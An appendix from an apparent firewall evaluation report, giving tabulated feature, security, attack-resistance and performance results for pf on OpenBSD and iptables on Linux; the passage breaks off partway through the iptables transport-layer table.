A Attachment

A.1 Particular test results

This chapter lists the test results for each firewall system tested with each previously described test.

A.2 Packetfilter on OpenBSD

A.2.1 General requirements

Number: I/I	
System: A	
Test: Every traffic must go through the firewall	
Result	☑
Comments	Given by scenario.
Test: Every traffic that is not explicitly allowed has to be denied	
Result	☒
Comments	An empty ruleset allows all traffic.
Test: Administration of the firewall must only be possible through a secure path	
Result	☑
Comments	SSH is the only way to connect (standard installation of OpenBSD).
Test: The firewall itself must be resistant against attacks	
Result	☑
Comments	Nessus, sara and nmap did not find serious problems.
Test: The firewall must be resistent against failures	
Result	☐
Comments	There are problems with overload situations which pf was able to handle.

Table 1: Packetfilter - general requirements

A.2.2 Optional features

Number: II/I	
System: A	
Test: Support for application filters and proxies	
Result	☐
Comments	Third party software (for example squid) is supported, transparent proxy support by redirect.
Test: Support for network and port address translation	

Result	✓
Comments	keywords *nat* , *binat* and *rdr*
Test: Support for virtual private networks	
Result	✓
Comments	Ipsec is offered by the operating system layer.
Test: Support for user authentication	
Result	○
Comments	proprietary authpf
Test: Support for address aliasing	
Result	✓
Comments	Offered by the operating system.
Test: Support for time based filtering	
Result	✗
Comments	Maybe that it is possible using *cron* and *pfctl* but not by *pf* itself.
Test: Support for embedded antivirus	
Result	✗
Comments	Maybe this is possible using *rdr* and proxies but not by *pf* itself.
Test: Support for URL filtering	
Result	○
Comments	Transparent proxy support is available.
Test: Support for traffic management	
Result	✓
Comments	See *altq* .
Test: Support for demilitarised zones	
Result	✓
Comments	Given by hardware and operating system.

Table 2: Packetfilter - optional features

A.2.3 Rulesets and its configuration

Number: III/I	
System: A	
Test: Allow	
Result	✓
Comments	keyword: *pass*
Test: Deny and reject	
Result	✓

Comments	keyword: *block return*
Test: Deny and drop	
Result	☑
Comments	keyword: *block drop*
Test: Translate (**NAT**, **PAT**)	
Result	☑
Comments	keywords: *nat* , *binat* and *rdr*
Test: Defragment	
Result	☑
Comments	keyword: *scrub*
Test: Log	
Result	☑
Comments	keyword: *log*

Table 3: Packetfilter - rulesets - actions on packets

Number: III/II	
System: A	
Test: Evaluate the unchanged ruleset in a specified order	
Result	☑
Comments	*pf* evaluates the ruleset in last match order
Test: Test the syntax of the ruleset on integrity and contradiction in terms	
Result	☑
Comments	via the command *pfctl -nf <configFile>*
Test: Test the semantics of the ruleset on integrity and contradiction in terms	
Result	☒
Comments	There maybe third party tools.
Test: Define a ruleset in a language with a specified grammar	
Result	☑
Comments	*man pf.conf* contains a detailed grammar
Test: Handling of default rules	
Result	☑
Comments	The last matchs (or the first matchs including the keyword *quick*).
Test: Actuate stateful inspection	
Result	☑
Comments	keywords: *keep state* , *modulate state* , *synproxy state*

Table 4: Packetfilter - ruleset requirements

A.2.3.1 Subnet layer (OSI layer 2)

Number: III/III	
System: A	
Test: Act by means of the affected interface	
Result	☑
Comments	keyword: *on <interface>*
Test: Act by means of incoming or outgoing packets	
Result	☑
Comments	keywords: *in* , *out*
Test: Act by means of fields of Ethernet	
Result	☒
Comments	pf only inspects on OSI3 and above
Test: Act by means of other network technologies	
Result	☒
Comments	pf only inspects on OSI3 and above

Table 5: Packetfilter - rulesets - subnet layer

Number: III/IV	
System: A	
Test: Ethernet address of destination	
Result	☒
Comments	pf only inspects on OSI3 and above
Test: Ethernet address of sender	
Result	☒
Comments	pf only inspects on OSI3 and above
Test: Protocol type	
Result	☒
Comments	pf only inspects on OSI3 and above
Test: Checksum	
Result	☒
Comments	pf only inspects on OSI3 and above

Table 6: Packetfilter - rulesets - subnet layer - fields of Ethernet

A.2.3.2 Internet layer (OSI layer 3)

Number: III/V	
System: A	
Test: Act by means of fields of IPv4	
Result	☑
Comments	keyword: *inet*
Test: Act by means of fields of ICMPv4	
Result	☑
Comments	keyword: *icmp*
Test: Act by means of fields of IPv6	
Result	☑
Comments	keyword: *inet6*
Test: Act by means of fields of ICMPv6	
Result	☑
Comments	keyword: *icmp6*
Test: Act by means of other network technologies	
Result	☒
Comments	

Table 7: Packetfilter - rulesets - internet layer

Number: III/VI	
System: A	
Test: Version	
Result	☑
Comments	keywords: *inet* or *inet6*
Test: Internet header length	
Result	☒
Comments	
Test: Type of service	
Result	☑
Comments	keyword: *tos*
Test: Total length	
Result	☒
Comments	
Test: Identification	
Result	☑
Comments	keyword: *random-id*
Test: May/Don't Fragment flag	

Result	
Comments	keyword: *no-df*
Test: Last/more fragment flag	
Result	
Comments	
Test: Fragment offset	
Result	
Comments	
Test: Time to live	
Result	
Comments	keyword: *min-ttl <number>*
Test: Protocol	
Result	
Comments	keyword: *proto <protocol>*
Test: Header checksum	
Result	
Comments	
Test: Source address	
Result	
Comments	keyword: *from <source>*
Test: Destination address	
Result	
Comments	keyword: *to <destination>*
Test: Options	
Result	
Comments	The default policy is to block any packet with IP options. To allow those packets use the keyword *allow-opts*

Table 8: Packetfilter - rulesets - internet layer - fields of IPv4

Number: III/VII	
System: A	
Test: Type	
Result	
Comments	keyword: *icmp-type <type>*
Test: Code	
Result	
Comments	keyword: *code <code>*
Test: Checksum	

Result	☒
Comments	

Table 9: Packetfilter - rulesets - internet layer - fields of ICMPv4

Number: III/VIII	
System: A	
Test: 0 - Echo reply	
Result	☑
Comments	
Test: 3 - Destination unreachable	
Result	☑
Comments	
Test: 4 - Source quench	
Result	☑
Comments	
Test: 5 - Redirect	
Result	☑
Comments	
Test: 8 - Echo	
Result	☑
Comments	
Test: 11 - Time exceeded	
Result	☑
Comments	
Test: 12 - Parameter problem	
Result	☑
Comments	
Test: 13 - Timestamp	
Result	☑
Comments	
Test: 14 - Timestamp reply	
Result	☑
Comments	
Test: 15 - Information request	
Result	☑
Comments	
Test: 16 - Information reply	

Result	☑
Comments	

Table 10: Packetfilter - rulesets - internet layer - types of ICMP

Number: III/IX	
System: A	
Test: Version	
Result	☑
Comments	keywords: *inet* or *inet6*
Test: Traffic class	
Result	☒
Comments	
Test: Flow label	
Result	☒
Comments	
Test: Payload length	
Result	☒
Comments	
Test: Next header	
Result	☒
Comments	
Test: Hop limit	
Result	☒
Comments	
Test: Source address	
Result	☑
Comments	keyword: *from <source>*
Test: Destination address	
Result	☑
Comments	keyword: *to <destination>*

Table 11: Packetfilter - rulesets - internet layer - fields of IPv6

Number: III/X	
System: A	
Test: Type	
Result	☑
Comments	keyword: *icmp6-type <type>*

Test: Code	
Result	
Comments	keyword: *code* <*code*>
Test: Checksum	
Result	
Comments	

Table 12: Packetfilter - rulesets - internet layer - fields of ICMPv6

Number: III/XI	
System: A	
Test: 1 - Destination unreachable	
Result	
Comments	
Test: 2 - Packet too big	
Result	
Comments	
Test: 3 - Time exceeded	
Result	
Comments	
Test: 4 - Parameter problem	
Result	
Comments	
Test: 128 - Echo request	
Result	
Comments	
Test: 129 - Echo reply	
Result	
Comments	
Test: 130 - Group membership query	
Result	
Comments	
Test: 131 - Group membership report	
Result	
Comments	
Test: 132 - Group membership reduction	
Result	
Comments	

Table 13: Packetfilter - rulesets - internet layer - types of ICMPv6

A.2.3.3 Transport layer (OSI layer 4)

Number: III/XII	
System: A	
Test: Source port	
Result	☑
Comments	keyword: *port <port>*
Test: Destination port	
Result	☑
Comments	keyword: *port <port>*
Test: Sequence number	
Result	☒
Comments	
Test: Acknowledgment number	
Result	☒
Comments	
Test: Data offset	
Result	☒
Comments	
Test: Bit 101 - Bit 106 (reserved)	
Result	☒
Comments	
Test: URG: Urgent pointer field significant	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: ACK: Acknowledgment field significant	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: PSH: Push function	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: RST: Reset the connection	
Result	☑
Comments	keyword: *flags <check>/<mask>*
Test: SYN: Synchronise sequence numbers	
Result	☑

Comments	keyword: *flags <check>/<mask>*
Test: FIN: No more data from sender	
Result	
Comments	keyword: *flags <check>/<mask>*
Test: Window	
Result	
Comments	
Test: Checksum	
Result	
Comments	
Test: Urgent pointer	
Result	
Comments	
Test: Options	
Result	
Comments	
Test: Padding	
Result	
Comments	

Table 14: Packetfilter - rulesets - transport layer - fields of TCP

Number: III/XIII	
System: A	
Test: Source port	
Result	
Comments	keyword: *port <port>*
Test: Destination port	
Result	
Comments	keyword: *port <port>*
Test: Length	
Result	
Comments	
Test: Checksum	
Result	
Comments	

Table 15: Packetfilter - rulesets - transport layer - fields of UDP

A.2.4 Security and its configuration

A.2.4.1 Access to the firewall

Number: IV/I	
System: A	
Test: Access must only be granted through a secure path	
Result	☐
Comments	SSH server supports SSH protocol version 1. Switch protocol version in sshd_config to 2 to reach highest security.
Test: User authentication must happen with strong encryption	
Result	☑
Comments	passwords are stored using MD5 or DES
Test: The role of a reviser must be offered	
Result	☐
Comments	an user has to be created explicitely
Test: Access to the system must be logged	
Result	☑
Comments	*/var/log/authlog*

Table 16: Packetfilter - security - access

A.2.4.2 Hardening the operating system

Number: IV/II	
System: A	
Test: The firewall should only depend on necessary software	
Result	☑
Comments	used size: less than 500MB, no unnecessary software like desktop environment, games or unused services is installed

Table 17: Packetfilter - security - operating system

A.2.4.3 Selftests

Number: IV/III	
System: A	
Test: Test integrity in non regular intervals	

Result	☒
Comments	
Test: List current connections	
Result	☑
Comments	*pfctl -s state*

Table 18: Packetfilter - security - selftests

A.2.4.4 Guessing and fingerprinting

Number: IV/IV	
System: A	
Ruleset	1
Scenario	1
Test: The firewall must hide its properties	
Result	☑
Comments	nmap was not able to identify the fingerprint
Test: The firewall must use random sequence numbers	
Result	☑
Comments	nmap Class: truly random; Difficulty: 9999999 (Good luck!)
Test: The firewall must use random IP ID's	
Result	☑
Comments	randomised
Test: The firewall must be able to rewrite packets	
Result	☒
Comments	

Table 19: Packetfilter - security - fingerprinting

A.2.4.5 Logging and notification

Number: IV/V	
System: A	
Test: Log to persistant storage	
Result	☐
Comments	*pflogd* has to be started manually and logs to */var/log/pflog*
Test: Log rotation	

Result	◘
Comments	log rotation manually by calling *newsyslog*
Test: Log backup/transfer	
Result	◘
Comments	log backup can be scripted easily (backup /var/log/pflog.*)
Test: Automatic logfile processing/scripting	
Result	✓
Comments	via *tcpdump*
Test: Maximum logfile size	
Result	1 TB
Comments	limited by filesystem and storage device
Test: Ability to log any information which it can filter by	
Result	✓
Comments	tcpdump output
Test: Ability to alert admin in case of emergency	
Result	◘
Comments	possible by third party tools
Test: Ability to alert by mail	
Result	◘
Comments	possible by third party tools
Test: Ability to alert by pager	
Result	◘
Comments	possible by third party tools
Test: Ability to alert by sms	
Result	◘
Comments	possible by third party tools
Test: Ability to alert by snmp trap	
Result	◘
Comments	possible by third party tools

Table 20: Packetfilter - security - logging

A.2.4.6 Default behaviour on start-up

Number: IV/VI	
System: A	
Test: The firewall must start up in a secure state	
Result	◘

Comments	You have to manually set the correct order of activation for the ipf and ipforwarding. If ipforwarding will be enabled earlier, the firewall is vulnerable.
Test: An empty ruleset should deny all packets	
Result	
Comments	There is an implicit rule to pass all traffic caused by the generic kernel.

Table 21: Packetfilter - security - default config

A.2.4.7 Fending known attacks

Fending known attacks with ruleset 1

Number: IV/VII	
System: A	
Ruleset	1
Scenario	1
Test: Land attack	
Result	
Comments	It is not possible to create a rule which blocks packets which have the same source and destination IP address and port.
Test: Smurf attack	
Result	
Comments	Broadcast pings are dropped without notification by the operating system (it can be enabled via *sysctl net.inet.ip.directed-broadcast=1*).
Test: UDP smurf attack	
Result	
Comments	Broadcast **UDP** packets are not routed.
Test: ICMP flood attack	
Result	
Comments	It is possible to minimise the damage of an ICMP flood attack by the rule *block in proto icmp probability 20%* .
Test: Fragmentation attacks	
Result	
Comments	The firewall routes all fragmented packets. Defragmentation should enabled with *scrub all* in the configuration file.
Test: ARP spoofing	
Result	

Comments	Static arp entries work only with the keyword permanent (*arp -s <ip> <mac-addr> permanent*).
Test: WinNuke attack	
Result	
Comments	By default out-of-band data is routed but you can filter the packets by *block proto tcp all flags /U* .
Test: IP spoofing	
Result	
Comments	Spoofing protection has to be activated manually for all interfaces (*antispoof for <interface>*).

Table 22: Packetfilter - security - known attacks (1)

Fending known attacks with ruleset 2

Number: IV/VIII	
System: A	
Ruleset	2
Scenario	1
Test: TCP connect scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP connect scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP halfopen SYN scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP FIN scan firewall	

Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP XMAS scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: TCP NULL scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan left1	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.
Test: UDP scan firewall	
Result	
Comments	All ports were filtered (not found as open or closed). No OS fingerprint was identified.

Table 23: Packetfilter - security - known attacks (4)

Fending known attacks with ruleset 4

Number: IV/IX	
System: A	
Ruleset	4
Scenario	1
Test: DNS spoofing	
Result	
Comments	Packets (DNS replies) are only allowed on already established streams.
Test: ACK storm	

Result	
Comments	Desynchronised packets passed the firewall.
Test: Syn flood attack	
Result	
Comments	Connections to the attacked service are not possible during the test, but new connections to other machines or other ports are possible further on.

Table 24: Packetfilter - security - known attacks (2)

Fending known attacks with ruleset 5

Number: IV/X	
System: A	
Ruleset	5
Scenario	1
Test: Buffer overflow - nessus	
Result	
Comments	Nessus found SSH while it was not allowed to SSH to the firewall but through it. OpenBSD was answering ICMP Timestamp requests.
Test: Buffer overflow - sara	
Result	
Comments	Sara did not find any vulnerabilities.

Table 25: Packetfilter - security - known attacks (3)

A.2.5 Usability and documentation

Number: V/I	
System: A	
Test: Easily comprehensible and transparent, no hidden options or implicit rules	
Result	
Comments	The default behaviour is to pass all traffic caused by the generic kernel.
Test: Easily comprehensible syntax and semantics of the ruleset	
Result	
Comments	The ruleset is similar to english. A single rule is like an english sentence.
Test: Ability to store the current ruleset	
Result	

Comments	
Test: Log in at least one widely known format	
Result	☑
Comments	The output of tcpdump is a widely known format.
Test: Log information and alarm signals directly to the OS	
Result	☒
Comments	The logging mechanism of pf is proprietary.
Test: Send logging information and alarm signals instantly through a secure path	
Result	☒
Comments	It might be possible by processing the output of tcpdump and using a secure path for sending the information and alarm signals.
Test: React on specified incidents automatically	
Result	☒
Comments	It might be possible by processing the output of tcpdump.

Table 26: Packetfilter - usability

Number: V/II	
System: A	
Test: Detailed manual	
Result	☑
Comments	Packetfilter [http://www.openbsd.org/faq/pf/]
Test: Online help	
Result	☑
Comments	*man pf* , *man pfctl* , *man pf.conf* , *man pflog* , *man pfsync*
Test: Frequently asked questions	
Result	☒
Comments	
Test: Available in various languages	
Result	☒
Comments	only english
Test: Available in various medias	
Result	☑
Comments	TXT, HTML, manpage
Test: Explains the dependency on other software in detail	
Result	☒
Comments	
Test: Discusses known bugs in detail	
Result	☒

Comments	
Test: Up-to-date	
Result	
Comments	
Test: Website with additional information	
Result	
Comments	Packetfilter [http://http://www.benzedrine.cx/pf.html]

Table 27: Packetfilter - documentation

A.2.6 Performance

Throughput depending on packet size

Number: VI/I	
System: A	
Ruleset	1
Scenario	1
Packet size (bytes)	**Throughput (MBit/s)**
100	0.00
200	98.90
300	125.31
400	135.55
500	154.91
600	158.97
700	169.98
800	171.47
900	172.61
1 000	180.12
1 100	180.34
1 200	186.48
1 300	186.17
1 400	191.33
1 500	190.77
2 000	122.05 (132.56)
4 000	42.49 (85.88)
8 000	6.75 (139.39)
16 000	0.25 (165.37)

32 000	no measurement data available
64 000	no measurement data available
Comment	When testing with packet size 100 and 200, OpenBSD was unusable and did not react on input as long as it received packets. There was the error message *firewall /bsd: em0: watchdog timeout – resetting* . As a result OpenBSD did not route any packet.
Comment	When testing with packet size 32 000 and 64 000 OpenBSD was unable to route packets. There was an error message *firewall /bsd: WARNING: mclpool limit reached; increase NMBCLUSTERS* . Unfortunatly increasing the value did not help.
Comment	When sending packets which have to be fragmented (>1500) the probability increases that a single fragment is dropped by the firewall because of the overload situation. When a single fragment is dropped the entire IP packet can not be reassembled. This is the reason for the little throughput at 4000, 8000 and 16 000 bytes packet size. The clients answer with an *ip reassembly time exceeded* error.
Comment	At packet sizes bigger than the MTU, the throughput decreased. Enabling reassembling with *scrub all* helped in this case. Those results are noted in parentheses.

Table 28: Packetfilter - performance - throughput depending on packet size

Maximum throughput in routing mode with NAT/PAT

Number: VI/II	
System: A	
Ruleset	3
Scenario	1
Test: Maximum throughput in routing mode with NAT/PAT	
Result	190.77 MBit/s
Comments	1 500 byte large packets

Table 29: Packetfilter - performance - throughput in routing mode with NAT/PAT

Throughput depending on size of ruleset

Number: VI/III	
System: A	
Ruleset	6
Scenario	1
Loops / rules	**Throughput (MBit/s)**

10 / 186	190.77
20 / 326	190.76
30 / 466	190.76
40 / 606	190.91
50 / 746	191.01
60 / 886	191.02
70 / 1 026	191.02
80 / 1 166	184.60
90 / 1 306	150.67
100 / 1 446	117.75
200 / 2 846	16.68
300 / 4 246	8.79
400 / 5 646	6.30
500 / 7 046	4.96
600 / 8 446	4.11
700 / 9 846	3.53

Table 30: Packetfilter - performance - throughput depending on size of ruleset

Throughput depending on activation of stateful inspection

Number: VI/IV	
System: A	
Ruleset	4
Scenario	1
Test: Throughput with activated stateful inspection	
Result	190.76 MBit/s
Comments	1 500 byte large packets

Table 31: Packetfilter - performance - throughput

Throughput depending on level of logging

Number: VI/V	
System: A	
Ruleset	7
Scenario	1

Logged computers	**Throughput (MBit/s)**
0	190.75
1	190.74
2	190.71
3	190.73
4	190.75
5	190.71
6	190.73
7	190.72

Table 32: Packetfilter - performance - throughput depending on level of logging

Throughput depending on number of simultaneous connections

Number: VI/VI	
System: A	
Ruleset	4
Scenario	1
Connections	**Throughput (MBit/s)**
2 000	190.78
5 000	190.76
10 000	190.72
20 000	190.56
50 000	189.99
100 000	189.50
200 000	no measurement data available
350 000	no measurement data available
Comment	Because the ruleset defined *keep state* for every interface, there were twice as many state entries as connections.
Comment	To establish more than the default limit of 10 000 states, set the option limit states by *set limit states 250000* in the config file. Additionally there is a kernel limit at 256 000 states. You will have to patch the kernel to establish more states and to avoid a kernel panic.
Comment	To count the number of states you can use the following command: *pfctl -s state | wc -l*

Table 33: Packetfilter - performance - throughput depending on simultaneous connections

A.2.6.1 Latency

Best latency time through the firewall

Number: VI/VII	
System: A	
Ruleset	1
Scenario	2
Test: Best latency time	
Result	53.32 μs
Comments	

Table 34: Packetfilter - performance - best latency time

Latency time depending on activation of NAT/PAT

Number: VI/VIII	
System: A	
Ruleset	3
Scenario	2
Test: Latency in routing mode with NAT/PAT	
Result	55.63 μs
Comments	

Table 35: Packetfilter - performance - latency depending on NAT/PAT

Latency time depending on packet size

Number: VI/IX	
System: A	
Ruleset	1
Scenario	2
Packet size (bytes)	**Latency** (μs)
100	71.56
200	90.96
300	100.69

400	78.92
500	87.36
600	115.92
700	147.17
800	84.22
900	94.86
1 000	153.69
1 100	163.91
1 200	174.03
1 300	185.08
1 400	194.13
1 500	192.52
2 000	190.74
4 000	299.65
8 000	454.59
16 000	740.56
32 000	1 312.25
64 000	2 466.69

Table 36: Packetfilter - performance - latency depending on packet size

Latency time depending on size of ruleset

Number: VI/X	
System: A	
Ruleset	6
Scenario	2
Loops / rules	**Latency (μs)**
10 / 186	90.37
20 / 326	96.77
30 / 466	108.29
40 / 606	148.43
50 / 746	187.84
60 / 886	240.41
70 / 1 026	291.60
80 / 1 166	349.98
90 / 1 306	429.14
100 / 1 446	481.81

200 / 2 846	1 249.34
300 / 4 246	1 925.07
400 / 5 646	2 590.46
500 / 7 046	3 216.94
600 / 8 446	3 823.23
700 / 9 846	4 459.62

Table 37: Packetfilter - performance - latency depending on ruleset

Latency time depending on activation of stateful inspection

Number: VI/XI	
System: A	
Ruleset	4
Scenario	2
Test: Latency at activated stateful inspection	
Result	59.91 μs
Comments	

Table 38: Packetfilter - performance - latency depending on activation of stateful inspection

Latency time depending on level of logging

Number: VI/XII	
System: A	
Ruleset	7
Scenario	2
Test: Latency without logging	
Result	57.69 μs
Comments	
Test: Latency with activated logging	
Result	57.62 μs
Comments	

Table 39: Packetfilter - performance - latency depending on level of logging

Latency time depending on number of simultaneous connections

Number: VI/XIII	
System: A	
Ruleset	4
Scenario	1
Connections	**Latency** (μs)
2 000	63.07
5 000	65.21
10 000	59.96
20 000	58.96
50 000	67.12
100 000	58.29
200 000	no measurement data available
350 000	no measurement data available
Comment	Because the ruleset defined *keep state* for every interface, there were twice as many state entries as connections.
Comment	To establish more than the default limit of 10 000 states, set the option limit states by *set limit states 250000* in the config file. Additionally there is a kernel limit at 256 000 states. You will have to patch the kernel to establish more states and to avoid a kernel panic.
Comment	To count the number of states you can use the following command: *pfctl -s state | wc -l*

Table 40: Packetfilter - performance - latency depending on simultaneous connections

Latency time depending on load on firewall system

Number: VI/XIV	
System: A	
Ruleset	1
Scenario	1
Test: Latency at traffic between 12 computers	
Result	84.25 μs
Comments	The test was only possible with TCP connection because of high packet loss.

Table 41: Packetfilter - performance - latency depending on load on firewall system

A.2.6.2 Maximum number of connections

Maximum number of simultaneous connections with activated stateful inspection

Number: VI/XV	
System: A	
Ruleset	4
Scenario	1
Test: Maximum number of simultaneous connections with activated stateful inspection	
Result	10 000
Comments	Set the option limit states by *set limit states 250000* to establish more connections. There is a kernel limit at about 256 000 connections. You will have to patch the kernel to establish more.

Table 42: Packetfilter - performance - simultaneous connections (1)

Maximum number of simultaneous connections with activated NATPAT

Number: VI/XVI	
System: A	
Ruleset	3
Scenario	1
Test: Maximum number of simultaneous connections with activated NAT/PAT	
Result	10 000
Comments	Set the option limit states by *set limit states 250000* to establish more connections. There is a kernel limit at about 256 000 connections. You will have to patch the kernel to establish more.

Table 43: Packetfilter - performance - simultaneous connections (2)

A.3 IP Tables on Linux

A.3.1 General requirements

Number: I/I	
System: B	
Test: Every traffic must go through the firewall	
Result	☑
Comments	Given by scenario.
Test: Every traffic that is not explicitly allowed has to be denied	
Result	☒
Comments	The default policy is ACCEPT, an empty default ruleset accepts all packets. (it can be changed with the keyword *-P*).
Test: Administration of the firewall must only be possible through a secure path	
Result	☑
Comments	SSH protocol 2 is the only way to connect (standard installation of Linux).
Test: The firewall itself must be resistant against attacks	
Result	☑
Comments	Nessus, sara and nmap found no serious problems.
Test: The firewall must be resistent against failures	
Result	☐
Comments	There are several problems with logging, overload situations and big rulesets (for more information see chapter A.3.6 on page 48).

Table 44: IP Tables - general requirements

A.3.2 Optional features

Number: II/I	
System: B	
Test: Support for application filters and proxies	
Result	☐
Comments	Third party software (for example squid) is supported, transparent proxy support by redirect.
Test: Support for network and port address translation	
Result	☑
Comments	keywords *SNAT* , *DNAT* and *MASQUERADE*
Test: Support for virtual private networks	
Result	☑

Comments	Ipsec is offered by the operating system layer (*KAME* in kernel 2.6).
Test: Support for user authentication	
Result	◘
Comments	Supported not directly within *iptables* but third party software (*authipgate* is available).
Test: Support for address aliasing	
Result	☒
Comments	Supported by the operating system, but no direct filtering on aliased devices (in *-i* or out *-o*).
Test: Support for time based filtering	
Result	◘
Comments	Available through patch-o-matic [http://www.netfilter.org/patch-o-matic/], module *time* .
Test: Support for embedded antivirus	
Result	☒
Comments	IP Tables is a packetfilter, not a content filter.
Test: Support for URL filtering	
Result	◘
Comments	Transparent proxy support is available.
Test: Support for traffic management	
Result	☑
Comments	Supported by the operating system keyword *QOS* .
Test: Support for demilitarised zones	
Result	☑
Comments	Given by hardware and operating system.

Table 45: IP Tables - optional features

A.3.3 Rulesets and its configuration

Number: III/I	
System: B	
Test: Allow	
Result	☑
Comments	keyword *ACCEPT*
Test: Deny and reject	
Result	☑
Comments	keyword *REJECT*
Test: Deny and drop	

Result	
Comments	keyword *DROP*
Test: Translate (**NAT**, **PAT**)	
Result	
Comments	keywords *SNAT* , *DNAT* and *MASQUERADE*
Test: Defragment	
Result	
Comments	
Test: Log	
Result	
Comments	keyword *LOG*

Table 46: IP Tables - rulesets - actions on packets

Number: III/II	
System: B	
Test: Evaluate the unchanged ruleset in a specified order	
Result	
Comments	IP Tables uses the first match order.
Test: Test the syntax of the ruleset on integrity and contradiction in terms	
Result	
Comments	No dummy insert is available.
Test: Test the semantics of the ruleset on integrity and contradiction in terms	
Result	
Comments	Maybe possible with third party tools.
Test: Define a ruleset in a language with a specified grammar	
Result	
Comments	The ruleset can be written in a special language. The language is not described by a complete grammar in *man iptables* , but there is a good overview.
Test: Handling of default rules	
Result	
Comments	keyword *-P* , *policy*
Test: Actuate stateful inspection	
Result	
Comments	keyword module *state*

Table 47: IP Tables - ruleset requirements

A.3.3.1 Subnet layer (OSI layer 2)

Number: III/III	
System: B	
Test: Act by means of the affected interface	
Result	
Comments	keywords *-i* and *-o*
Test: Act by means of incoming or outgoing packets	
Result	
Comments	keywords (chains) *INPUT* , *OUTPUT*
Test: Act by means of fields of Ethernet	
Result	
Comments	only MAC addresses
Test: Act by means of other network technologies	
Result	
Comments	IP Tables only inspects on OSI3 and above.

Table 48: IP Tables - rulesets - subnet layer

Number: III/IV	
System: B	
Test: Ethernet address of destination	
Result	
Comments	only source MAC
Test: Ethernet address of sender	
Result	
Comments	keyword *–mac-source* , module *mac*
Test: Protocol type	
Result	
Comments	
Test: Checksum	
Result	
Comments	

Table 49: IP Tables - rulesets - subnet layer - fields of Ethernet

A.3.3.2 Internet layer (OSI layer 3)

Number: III/V	
System: B	
Test: Act by means of fields of IPv4	
Result	☑
Comments	keyword *iptables*
Test: Act by means of fields of ICMPv4	
Result	☑
Comments	keyword *iptables*
Test: Act by means of fields of IPv6	
Result	☑
Comments	keyword *ip6tables*
Test: Act by means of fields of ICMPv6	
Result	☑
Comments	keyword *iptables*
Test: Act by means of other network technologies	
Result	☒
Comments	

Table 50: IP Tables - rulesets - internet layer

Number: III/VI	
System: B	
Test: Version	
Result	☑
Comments	differs between IPv4 and IPv6
Test: Internet header length	
Result	☒
Comments	
Test: Type of service	
Result	☑
Comments	keyword *–tos* , modules *tos*
Test: Total length	
Result	☑
Comments	keyword *–length*
Test: Identification	
Result	☒
Comments	
Test: May/don't fragment flag	

Result	☒
Comments	implicit defragmentation before filtering
Test: Last/more fragment flag	
Result	☒
Comments	implicit defragmentation before filtering
Test: Fragment offset	
Result	☒
Comments	implicit defragmentation before filtering
Test: Time to live	
Result	☑
Comments	keyword *–ttl* module *ttl*
Test: Protocol	
Result	☑
Comments	keyword *-p*
Test: Header checksum	
Result	☒
Comments	wrong packets dropped by IP layer
Test: Source address	
Result	☑
Comments	keyword *-s*
Test: Destination address	
Result	☑
Comments	keyword *-d*
Test: Options	
Result	☑
Comments	supported by patch-o-matic patch: *ipv4options*

Table 51: IP Tables - rulesets - internet layer - fields of IPv4

Number: III/VII	
System: B	
Test: Type	
Result	☑
Comments	keywords *–icmp-type* module *icmp*
Test: Code	
Result	☒
Comments	
Test: Checksum	

Result	
Comments	

Table 52: IP Tables - rulesets - internet layer - fields of ICMPv4

Number: III/VIII	
System: B	
Test: 0 - Echo reply	
Result	
Comments	
Test: 3 - Destination unreachable	
Result	
Comments	
Test: 4 - Source quench	
Result	
Comments	
Test: 5 - Redirect	
Result	
Comments	
Test: 8 - Echo	
Result	
Comments	
Test: 11 - Time exceeded	
Result	
Comments	
Test: 12 - Parameter problem	
Result	
Comments	
Test: 13 - Timestamp	
Result	
Comments	
Test: 14 - Timestamp reply	
Result	
Comments	
Test: 15 - Information request	
Result	
Comments	
Test: 16 - Information reply	

Result	
Comments	

Table 53: IP Tables - rulesets - internet layer - types of ICMP

Number: III/IX	
System: B	
Test: Version	
Result	
Comments	differs between IPv4 and IPv6
Test: Traffic class	
Result	
Comments	
Test: Flow label	
Result	
Comments	
Test: Payload length	
Result	
Comments	
Test: Next header	
Result	
Comments	
Test: Hop limit	
Result	
Comments	
Test: Source address	
Result	
Comments	keyword *-s*
Test: Destination address	
Result	
Comments	keyword *-d*

Table 54: IP Tables - rulesets - internet layer - fields of IPv6

Number: III/X	
System: B	
Test: Type	
Result	
Comments	keyword *–icmpv6-type* module *ipv6-icmp*

Test: Code	
Result	☒
Comments	
Test: Checksum	
Result	☒
Comments	

Table 55: IP Tables - rulesets - internet layer - fields of ICMPv6

Number: III/XI	
System: B	
Test: 1 - Destination unreachable	
Result	☑
Comments	
Test: 2 - Packet too big	
Result	☑
Comments	
Test: 3 - Time exceeded	
Result	☑
Comments	
Test: 4 - Parameter problem	
Result	☑
Comments	
Test: 128 - Echo request	
Result	☑
Comments	
Test: 129 - Echo reply	
Result	☑
Comments	
Test: 130 - Group membership query	
Result	☑
Comments	
Test: 131 - Group membership report	
Result	☑
Comments	
Test: 132 - Group membership reduction	
Result	☑
Comments	

Table 56: IP Tables - rulesets - internet layer - types of ICMPv6

A.3.3.3 Transport layer (OSI layer 4)

Number: III/XII	
System: B	
Test: Source port	
Result	☑
Comments	keywords *–source-port* module *tcp*
Test: Destination port	
Result	☑
Comments	keywords *–destination-port* module *tcp*
Test: Sequence number	
Result	☒
Comments	
Test: Acknowledgment number	
Result	☒
Comments	
Test: Data offset	
Result	☒
Comments	
Test: Bit 101 - Bit 106 (reserved)	
Result	☒
Comments	
